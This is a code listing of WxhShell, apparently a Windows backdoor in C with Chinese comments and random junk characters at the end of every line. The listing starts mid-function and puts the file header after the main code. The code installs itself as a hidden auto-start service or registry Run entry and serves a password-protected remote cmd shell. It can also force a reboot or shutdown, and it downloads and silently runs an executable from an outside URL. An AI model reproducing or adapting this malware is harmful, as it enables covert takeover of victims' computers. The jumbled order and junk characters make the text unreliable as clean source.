    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o5+7Lt]  
    if(Boot(SHUTDOWN)) P3a]*>.,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z)eNM}cF  
    else { %3=T7j  
    closesocket(wsh); u ^2/:L  
    ExitThread(0); D4@(_6^  
    } Du-Q~I6  
    break; ]|IeE!6  
    } ojJu a c4  
  // 获取shell "cOBEhn%l  
  case 's': { vZ6R>f  
    CmdShell(wsh); P $r!u%W  
    closesocket(wsh); J!Rqm!)q  
    ExitThread(0); VVuNU"-  
    break; f*m^x7  
  } I;<__  
  // 退出 l4I',79l  
  case 'x': { Y_XRf8Sw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jrm^n_6};  
    CloseIt(wsh); 3EA_-?  
    break; Oz xiT +  
    } Un+-  T  
  // 离开 w8KxEV=  
  case 'q': { QY\'Uu{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `$JOFLa  
    closesocket(wsh); D-m%eP.  
    WSACleanup(); or)fx/%h  
    exit(1); |\C.il7  
    break; ,W]}mqV%.'  
        } :4\_upRE  
  } h7xgLe@  
  } h-m0Ro?6  
h,/3 }  
  // 提示信息 b$*G&d5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jcp=<z*0  
} 20A:,pMb  
  } S4E@wLi  
@}%kSn5y:  
  return; Vrp]YR L`  
} D [v225  
mndEB!b  
// shell模块句柄 x;4m@)Mu  
int CmdShell(SOCKET sock) g ZES}]N  
{ -H 5-6w$  
STARTUPINFO si; N>@.(f&w  
ZeroMemory(&si,sizeof(si)); vMJC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ M|vIw{#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E*v+@rv  
PROCESS_INFORMATION ProcessInfo; \ov]Rn  
char cmdline[]="cmd"; SS;'g4h\6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /pGx !  
  return 0; i-sm9K'ns  
} k6;pi=sYNW  
$7Tj<;TV  
// 自身启动模式 @3I?T Q1  
int StartFromService(void) 9q^7%b,  
{ 3 "|A5>Vo  
typedef struct +:J:S"G  
{ 0.wN&:I8t  
  DWORD ExitStatus; L_=3`xE _  
  DWORD PebBaseAddress; ^<aj~0v  
  DWORD AffinityMask; v1NFz>Hx  
  DWORD BasePriority; BK.RYSN  
  ULONG UniqueProcessId; "(a}}q 9-  
  ULONG InheritedFromUniqueProcessId; )9!J $q  
}   PROCESS_BASIC_INFORMATION; You~ 6d6Om  
L[:M[,?=`  
PROCNTQSIP NtQueryInformationProcess; .4=A:9  
d%1 Vby  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `_{,4oi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gg Hl{cl)  
!U1V('   
  HANDLE             hProcess; J=#9eW  
  PROCESS_BASIC_INFORMATION pbi; ^$8WV&5q>  
tkHUX!Ow;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 52*KRq o  
  if(NULL == hInst ) return 0; +C4NhA2  
q(5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wk/Il^YG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (j}edRUnB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,^T0!k$  
lF$$~G  
  if (!NtQueryInformationProcess) return 0; p"n3JV.~k+  
m&Y?]nbq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c+<gc:#jy  
  if(!hProcess) return 0; _b[Pk;8}j;  
\@7 4I7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &KeD{M%  
ZD8E+]+  
  CloseHandle(hProcess); g^k=z:n3,  
B=i%Z _r]w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^Ov+n1,)  
if(hProcess==NULL) return 0; T%2%*oa  
<)gTi759h)  
HMODULE hMod; & y7~  
char procName[255]; dQAo~] B  
unsigned long cbNeeded; 2-wgbC5  
6c[ L*1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nbm$ta  
PE+{<[n  
  CloseHandle(hProcess); DJH,#re>  
leJ3-w{ 2  
if(strstr(procName,"services")) return 1; // 以服务启动 /<IXCM.  
jTok1k  
  return 0; // 注册表启动 l @r`NFWD@  
} RgVg~?A@  
rGSi !q  
// 主模块 #Xun>0  
int StartWxhshell(LPSTR lpCmdLine) !p 70g0+  
{ A) TO<dl  
  SOCKET wsl; }ev+WIERQV  
BOOL val=TRUE; (/J %Huy  
  int port=0; 9OM&&Ue<E  
  struct sockaddr_in door; @<p9 O0  
3T@`V FbE  
  if(wscfg.ws_autoins) Install(); <kWNx.eci  
R!_1*H$  
port=atoi(lpCmdLine); IpsV4nmnz-  
 d|$-Sz  
if(port<=0) port=wscfg.ws_port; O}[){*GG=  
_jk+$`[9PL  
  WSADATA data; +L}R|ihkI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z&A# d  
KRj3??b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tqOx8%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4_vJ_H-mO,  
  door.sin_family = AF_INET; +D#.u^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ko T: r  
  door.sin_port = htons(port); ;0E[ ; L!  
9QN(Wq@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wW'.bqA  
closesocket(wsl); $s5D/60nO  
return 1; <D(|}5qR  
} ~fly6j|u  
ltmD=-]G_  
  if(listen(wsl,2) == INVALID_SOCKET) { cN#f$  
closesocket(wsl); !Y]%U @4}  
return 1; KU;m.{  
} KKJa?e`C  
  Wxhshell(wsl); {=kW?  
  WSACleanup(); [{rne2sA  
q&EwD(k  
return 0; N+ei)-  
6)#%36rP  
} ]"\XTL0  
VDPq3`$+v{  
// 以NT服务方式启动 Wi!$bL`l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (:J U  
{ <p8>"~ R  
DWORD   status = 0; (I(k$g[>  
  DWORD   specificError = 0xfffffff; Y@V6/D} 1  
 B*Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C= PV-Ul+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iMs(Ywak]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +P"u1q*+p  
  serviceStatus.dwWin32ExitCode     = 0; %'[ pucEF  
  serviceStatus.dwServiceSpecificExitCode = 0; e#{l  
  serviceStatus.dwCheckPoint       = 0; U\",!S~<  
  serviceStatus.dwWaitHint       = 0; w'!J   
=zKbvwe%X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F[U0TP@&*  
  if (hServiceStatusHandle==0) return; 29h_oNO  
fuA 8jx  
status = GetLastError();   [IW6F  
  if (status!=NO_ERROR) ZfIeq<8 _  
{ 3})0p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ou'|e"tI  
    serviceStatus.dwCheckPoint       = 0; 4 {3< `  
    serviceStatus.dwWaitHint       = 0; -*&C "%e  
    serviceStatus.dwWin32ExitCode     = status; N!=Q]\ZD  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5[>N[}Ck>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dZjh@yGP.  
    return; 2/FH9T;e".  
  } d0@czNWIC  
aOo;~u2-=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bR? $a+a)  
  serviceStatus.dwCheckPoint       = 0; vke]VXU9z  
  serviceStatus.dwWaitHint       = 0; d`4@aoM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9IG3zMf  
} G@Vz }B:=  
( 0Z3Ksfj1  
// 处理NT服务事件,比如:启动、停止 G@]|/kN1y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O(f&0h !  
{ cdsF<tpy  
switch(fdwControl) g4>1> .s  
{ AZjj71UE  
case SERVICE_CONTROL_STOP: [=I==?2`X  
  serviceStatus.dwWin32ExitCode = 0; p9$=."5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &T/}|3S  
  serviceStatus.dwCheckPoint   = 0; HA%r:Px  
  serviceStatus.dwWaitHint     = 0; nXF|AeAco  
  { z6J fu:_N!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H!ISQ8{V  
  } i3\6*$Ug  
  return; 9k>=y n  
case SERVICE_CONTROL_PAUSE: <S%kwS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @IwVR  
  break; QG=&{-I~[3  
case SERVICE_CONTROL_CONTINUE: SB`"%6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U?Icyn3q0  
  break; HFd>UdT%  
case SERVICE_CONTROL_INTERROGATE: vxC,8Z  
  break; auT$-Ki8  
}; K=C).5=U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z@S39Xp==  
} j{a3AEmps  
y[@<goT  
// 标准应用程序主函数 k/ ZuFTN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9d!}]+"d42  
{ -a$7b;gF  
4$!iw3N(  
// 获取操作系统版本 ec` $2u  
OsIsNt=GetOsVer(); tpi>$:e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); spt='!)4  
(" >gLr  
  // 从命令行安装 "ZyWU f  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~.wDb,*  
wUz)9n 6j  
  // 下载执行文件 qP0_#l&  
if(wscfg.ws_downexe) { j?n:"@!G/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,o)U9 <  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q-GnNT7MB3  
} hq^@t6!C\m  
N~An}QX|  
if(!OsIsNt) { A?xb u*zV,  
// 如果时win9x,隐藏进程并且设置为注册表启动 `FM^)(wT  
HideProc(); )pXw 3Fo  
StartWxhshell(lpCmdLine); .%4{zaB  
} ?I`ru:iG  
else |O]oX[~  
  if(StartFromService()) K9y!ZoB  
  // 以服务方式启动 nC5  
  StartServiceCtrlDispatcher(DispatchTable); NK@G0p~O  
else &`'gO 9  
  // 普通方式启动 7E9h!<5v  
  StartWxhshell(lpCmdLine); .1F^=C.w  
H19CVc\B  
return 0; k98}Jx7J)"  
} L){rv)?="  
6A& f  
k&1~yW  
'.wyfSH@  
=========================================== y[l19eU  
g{ cHh(S  
cKX6pG  
1Bz'$u;  
SdfrLdi}Y  
i%~4>k  
" :>[;XT<  
5)yQrS !{:  
#include <stdio.h> sQS2U6  
#include <string.h> ~4mgYzOmD`  
#include <windows.h> EO;f`s)t  
#include <winsock2.h> fx QN  
#include <winsvc.h> ?7cF_Zvve  
#include <urlmon.h> j}?O  
}>:x  
#pragma comment (lib, "Ws2_32.lib") nD+vMG1~w  
#pragma comment (lib, "urlmon.lib") ^J>jU`)CJ  
I^{PnrB  
#define MAX_USER   100 // 最大客户端连接数 p5~;8Q7  
#define BUF_SOCK   200 // sock buffer swVq%]')"  
#define KEY_BUFF   255 // 输入 buffer 96Tc:#9i  
<L__;j1Wx  
#define REBOOT     0   // 重启 4>gMe3]0  
#define SHUTDOWN   1   // 关机 e.0vh?{\  
B*owV%  
#define DEF_PORT   5000 // 监听端口 wo[W1?|s  
D(&${Mnac  
#define REG_LEN     16   // 注册表键长度 %&"_=Lc  
#define SVC_LEN     80   // NT服务名长度 { A(= phN  
By@<N [I@  
// 从dll定义API +mP3 y~|-j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eP3)8QC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d%9r"=/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NdQXQa?,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H3.WAg[`  
[JGa3e  
// wxhshell配置信息 'C~NQ{1TV  
struct WSCFG { (0qdU;  
  int ws_port;         // 监听端口 0n_Cuh\  
  char ws_passstr[REG_LEN]; // 口令 O4&/g-  
  int ws_autoins;       // 安装标记, 1=yes 0=no  IjDG  
  char ws_regname[REG_LEN]; // 注册表键名 ~`{HWmah  
  char ws_svcname[REG_LEN]; // 服务名 fwIZr~l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U3^T.i"R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eN%Ks  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y:VM 5r)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I,AI$A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3yXF| yV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &,fBg6A%  
Z$,1Tk"O/s  
}; doxQS ohS  
8jjJ/Mz`  
// default Wxhshell configuration -{ZTp8P>  
struct WSCFG wscfg={DEF_PORT, AdB5D_ Ir  
    "xuhuanlingzhe", +gOCl*L  
    1, *kxk@(lT?  
    "Wxhshell", 6yF4%Sz9  
    "Wxhshell", B{|P}fN5}  
            "WxhShell Service", =?57*=]0M  
    "Wrsky Windows CmdShell Service", >;QkV6i7  
    "Please Input Your Password: ", fZXJPy;n  
  1, 5-w6(uu  
  "http://www.wrsky.com/wxhshell.exe", 5Lt&P 5BY  
  "Wxhshell.exe" 9r7QE&.  
    }; D|Z,eench  
P!m~tu}B  
// 消息定义模块 @-;-DB]j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xig+[2zS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7BF't!-2F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^$_a_ft#  
char *msg_ws_ext="\n\rExit."; e9q/[xMi  
char *msg_ws_end="\n\rQuit."; wLU w'Ai  
char *msg_ws_boot="\n\rReboot..."; ^<<( }3  
char *msg_ws_poff="\n\rShutdown..."; 5gV8=Ml"V  
char *msg_ws_down="\n\rSave to "; ag?@5q3J}  
^#S  
char *msg_ws_err="\n\rErr!"; }x-~>$:"  
char *msg_ws_ok="\n\rOK!"; 7 s5?^^  
"F|OJ@ M  
char ExeFile[MAX_PATH]; ix]3t^  
int nUser = 0; @^;WC+\0  
HANDLE handles[MAX_USER]; %I%F !M  
int OsIsNt; ZH`6>:  
mw`%xID*  
SERVICE_STATUS       serviceStatus; \J-O b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?i(Tc!  
pp#Kb 2*  
// 函数声明 w])bQ7)  
int Install(void); 4I^6[{_  
int Uninstall(void); F)_Rs5V:(  
int DownloadFile(char *sURL, SOCKET wsh); Ajq;\- :  
int Boot(int flag); t22BO@gt74  
void HideProc(void); \Ul*Nsw  
int GetOsVer(void); akBR"y:~:H  
int Wxhshell(SOCKET wsl); rEdr8qw  
void TalkWithClient(void *cs); r em&F'x0V  
int CmdShell(SOCKET sock); *u7C){)gr[  
int StartFromService(void); p0$K.f| ^  
int StartWxhshell(LPSTR lpCmdLine); B {/Pv0y   
\9i.dF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); klUxt?-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !U,qr0h  
0tn5>Dsk  
// 数据结构和表定义 n4k. tq  
SERVICE_TABLE_ENTRY DispatchTable[] = 8o4<F%ot  
{ F!`.y7hY@  
{wscfg.ws_svcname, NTServiceMain}, R.|fc5_"+  
{NULL, NULL} g;v{JB  
}; DD|%F  
F>n<;<  
// 自我安装 Zu\#;O   
int Install(void) V>A@Sw  
{ I LF"m;  
  char svExeFile[MAX_PATH]; MJV&%E6{:{  
  HKEY key; 7x-k-F3  
  strcpy(svExeFile,ExeFile); N iNZh;  
'_r|L1  
// 如果是win9x系统,修改注册表设为自启动 YcRjbF,|6  
if(!OsIsNt) { ?8! 4!P%n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '/;#{("  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *-_` xe  
  RegCloseKey(key); ):LJ {.0R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IDE@{Dy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cl<` uW3  
  RegCloseKey(key); q'+XTal  
  return 0; Wz:MPdz3(  
    } k%NY,(:(  
  } -hp,O?PM  
} 8,dCx}X  
else { 0NpxqeIDY  
1.yw\ZC\  
// 如果是NT以上系统,安装为系统服务 _h@7>+vl~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &sJpn* W  
if (schSCManager!=0) <B$Lu4b@c  
{ 9S&6u1  
  SC_HANDLE schService = CreateService Mk|h ><Q"  
  ( '$1-A%e$1  
  schSCManager, F2oY_mA  
  wscfg.ws_svcname, &E {/s  
  wscfg.ws_svcdisp, -Q 6W`*8  
  SERVICE_ALL_ACCESS, qdZn9i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4^70r9hV9  
  SERVICE_AUTO_START, fgn*3 pg  
  SERVICE_ERROR_NORMAL, xE;fM\7pu  
  svExeFile, o0s+ roiD  
  NULL, X_Y$-I$qd  
  NULL, i0p"q p  
  NULL, MV9{>xX  
  NULL, a/L?R Uu  
  NULL ?@_3B]Fs  
  ); 39"8Nq|e  
  if (schService!=0) \+Qx}bS{  
  { "M_X9n_  
  CloseServiceHandle(schService); ~O@V;y  
  CloseServiceHandle(schSCManager); o~<fw]y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oc\rQ?  
  strcat(svExeFile,wscfg.ws_svcname); }4_izKS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pgU54 Ef  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O+.V,` O  
  RegCloseKey(key); 4d0PW#97.  
  return 0; wGnjuIR  
    } \e'>$8%T  
  } z6'zNM7M  
  CloseServiceHandle(schSCManager); YaSwn3i/@S  
} v[m/>l2[P  
} ZwO&G\A^  
n8zUL1:R  
return 1; Xb$)}n\9  
} ~+3f8%   
6<]&T lS]  
// 自我卸载 #0G9{./C  
int Uninstall(void) 1vl~[  
{ qYsu3y)*N  
  HKEY key; Q(V c/  
]jY->NsA]  
if(!OsIsNt) { _i}6zxqw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]#S1 AvT  
  RegDeleteValue(key,wscfg.ws_regname); ,@Ed)Zoh  
  RegCloseKey(key); NYR^y \u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #ye++.7WK  
  RegDeleteValue(key,wscfg.ws_regname); uO7Ti]H  
  RegCloseKey(key); \vFkhm  
  return 0; {v;Y}o-p  
  } ]C)PZZI='  
} ru'Xet  
} B Sb!{|]  
else { O_F<VV*MFQ  
`Ph4!-6#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]7dm`XV  
if (schSCManager!=0) {r'#(\  
{ /Pg66H#RUf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2{+\\.4Evk  
  if (schService!=0) $`l- cSH;  
  { Q$kSK+ q!  
  if(DeleteService(schService)!=0) { ,"j |0Q  
  CloseServiceHandle(schService); VEb}KFyP  
  CloseServiceHandle(schSCManager); CCl*v  
  return 0; t&0n"4$d'  
  } A[oi?.D  
  CloseServiceHandle(schService); "28x-F+J  
  } G _42ckLq  
  CloseServiceHandle(schSCManager); 2+"#  
} @*%5"~F  
} @zd)]O]xH?  
dBobVT'  
return 1; ;zSh9H  
} w? !@fu  
*QjFrw3  
// 从指定url下载文件 )JuD !  
int DownloadFile(char *sURL, SOCKET wsh) (]mN09uE  
{ O^U{I?gQ  
  HRESULT hr; wk8XD(&  
char seps[]= "/"; T!v%NZj3  
char *token; BszkQ>#6  
char *file; 3TtnLay.k  
char myURL[MAX_PATH]; H~||]_q|  
char myFILE[MAX_PATH]; [0MVsc=  
Ae`K 9  
strcpy(myURL,sURL); $qIMYX  
  token=strtok(myURL,seps); evimnV  
  while(token!=NULL) q7m-} mBN~  
  { !y4o^Su[  
    file=token; -fG;`N5U  
  token=strtok(NULL,seps); U&`M G1uHe  
  } ajkRL|^  
<k<  
GetCurrentDirectory(MAX_PATH,myFILE); v C><N  
strcat(myFILE, "\\"); lv$tp,+  
strcat(myFILE, file); G+\2Aj  
  send(wsh,myFILE,strlen(myFILE),0); :j?Lil%R  
send(wsh,"...",3,0); ]<z>YyBA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h\D y(\  
  if(hr==S_OK) 5OKbW!  
return 0; q'c'rN^  
else pmQ9i A@=  
return 1; (zgXhx_!D  
9.1%T06$  
} =GnDiI  
q1NAKcA<U  
// 系统电源模块 RUO,tB|(_;  
int Boot(int flag) "MK:y[+*  
{ LRB#|PW  
  HANDLE hToken; (kb^=kw#0  
  TOKEN_PRIVILEGES tkp; `;QpPSw+  
~p oy`h'  
  if(OsIsNt) { O v?k4kJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mQJRq??P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a8Ci 7<V  
    tkp.PrivilegeCount = 1; oqUtW3y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q| gG{9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [gH vI  
if(flag==REBOOT) { =<a`G3SY!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DFR.F:O%  
  return 0; &#;UKk~)Of  
} |*OS;FD5  
else { [",W TZ:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =wI ,H@  
  return 0; ~{U~9v^v (  
} JsVW:8QO~  
  } PN0:,.4  
  else { 0Ba-VY.H  
if(flag==REBOOT) { t[iE >  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0P%(4t$pd  
  return 0; gt'0B-;W  
} i (L;1 `  
else { obaJT"1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ha3 Qx  
  return 0; kF6X?mqgD  
} X`^9a5<"  
} XP6R$0yN  
).-B@&Eu%  
return 1; 1 ,[T;pdDd  
} [y=k}W}z  
Yz.[CmdX  
// win9x进程隐藏模块 hD # Yz<  
void HideProc(void) r-&4<=C/N  
{ H%Q@DW8~@  
#N@sJyI N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VJZ   
  if ( hKernel != NULL ) ~~:i+-[  
  { G~u94rw|:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4J-)+C/edx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K^s!0[6  
    FreeLibrary(hKernel); ']A+wGR&r  
  } }&`#  
N`8?bU7a}"  
return; q=UKL`;C}U  
} [g_f`ZJ=  
p4HX83y{  
// 获取操作系统版本 q9icj  
int GetOsVer(void) '$q'Wl)  
{ 8Ay#6o  
  OSVERSIONINFO winfo; !Edc]rg7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (#LV*&K%IC  
  GetVersionEx(&winfo); 2$=?;~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }T4"#'`  
  return 1; ##1[/D(  
  else r`B8Cik  
  return 0; Vk@u|6U'  
} rc 9 \  
8Z FPs/HP  
// 客户端句柄模块 kJHUaXM  
int Wxhshell(SOCKET wsl) $*L@y m  
{ J3y5R1?EP  
  SOCKET wsh; d!e$BiC  
  struct sockaddr_in client; yxLGseD  
  DWORD myID; KzI$GU3  
)bw^!w)  
  while(nUser<MAX_USER) U#d&#",s  
{ t<~riFs]  
  int nSize=sizeof(client); ~U ?cL-`n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'zi5ihiT  
  if(wsh==INVALID_SOCKET) return 1; &tHT6,Xv(  
6_`x^[r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GT<Y]Dk  
if(handles[nUser]==0) H@,jNIh~h  
  closesocket(wsh); Gvl-q1PVC  
else ^\ {%(i9  
  nUser++; /|`;|0/2  
  } c i_XcG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zZ OoPE  
u+z$+[lm!G  
  return 0; `3/,-  
} 9V[|_  
P0k|33;7L  
// 关闭 socket uTBls8  
void CloseIt(SOCKET wsh) rsOon2|  
{ i2)rDek3]T  
closesocket(wsh); c*HS#C7'2  
nUser--; g9'50<|J  
ExitThread(0); K?(ls$  
} E;| q  
kO~xE-(=  
// 客户端请求句柄 2 ,E&}a|;b  
void TalkWithClient(void *cs) Pm%ZzU  
{ h,rGa\X~0  
DZRk K3  
  SOCKET wsh=(SOCKET)cs; kHm1aE<  
  char pwd[SVC_LEN]; | z$ba:u5  
  char cmd[KEY_BUFF]; 9%> H}7=  
char chr[1]; !+JSguy  
int i,j; u}qfwVX Z  
gB71~A{J  
  while (nUser < MAX_USER) { Xe:B*  
nBWrkVX  
if(wscfg.ws_passstr) { ?U iwr{Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `-qSvjX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8!4=j  
  //ZeroMemory(pwd,KEY_BUFF); &CCB;Oi%  
      i=0; ?K|PM <A  
  while(i<SVC_LEN) { it D%sKo  
`i,ZwnLh{  
  // 设置超时 %4imlP  
  fd_set FdRead; /vD5C  
  struct timeval TimeOut; ]cLpLA"  
  FD_ZERO(&FdRead); +2|X 7wA  
  FD_SET(wsh,&FdRead); >"5^]o2?~l  
  TimeOut.tv_sec=8; zPH1{|H+l  
  TimeOut.tv_usec=0; uy~5!i&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J &u&G7#S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bl3G_Ep   
=_D82`p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! |}J{  
  pwd=chr[0]; 9Rb-QI  
  if(chr[0]==0xd || chr[0]==0xa) { &gIu<*u<  
  pwd=0; V[rNJf1z  
  break; DTl M}  
  } L7wl3zG  
  i++; =LZj6'  
    } $_@~t$  
aVO5zR./)  
  // 如果是非法用户,关闭 socket ]J~37 35]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "n7rbh3VW  
} OzX\ s=  
`P)1RTVx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w`c9_V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); va95/(  
%R7Q`!@8  
while(1) { V7[Dvg:W  
d3&gHt2  
  ZeroMemory(cmd,KEY_BUFF); V`pTl3  
*<Fz1~%*  
      // 自动支持客户端 telnet标准   B[S.6 "/H  
  j=0; ~i fq_Ag.  
  while(j<KEY_BUFF) { &!N5}N&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )[~ #j6  
  cmd[j]=chr[0]; \#m;L/D  
  if(chr[0]==0xa || chr[0]==0xd) { `(_cR@\  
  cmd[j]=0; &:S_ewJK7  
  break; N+"Y@X yg  
  } "5synfO  
  j++; |pqLwnOu  
    } VahR nD  
Ty*ec%U9F  
  // 下载文件 E@JxY  
  if(strstr(cmd,"http://")) { 0u'4kF!P!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G|4vnIS  
  if(DownloadFile(cmd,wsh)) "of(,p   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k#c BBrY  
  else {YcVeCq+N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b+OLmd  
  } c1jHg2xim  
  else { awHfd5nRS  
/A9Mv%zjk  
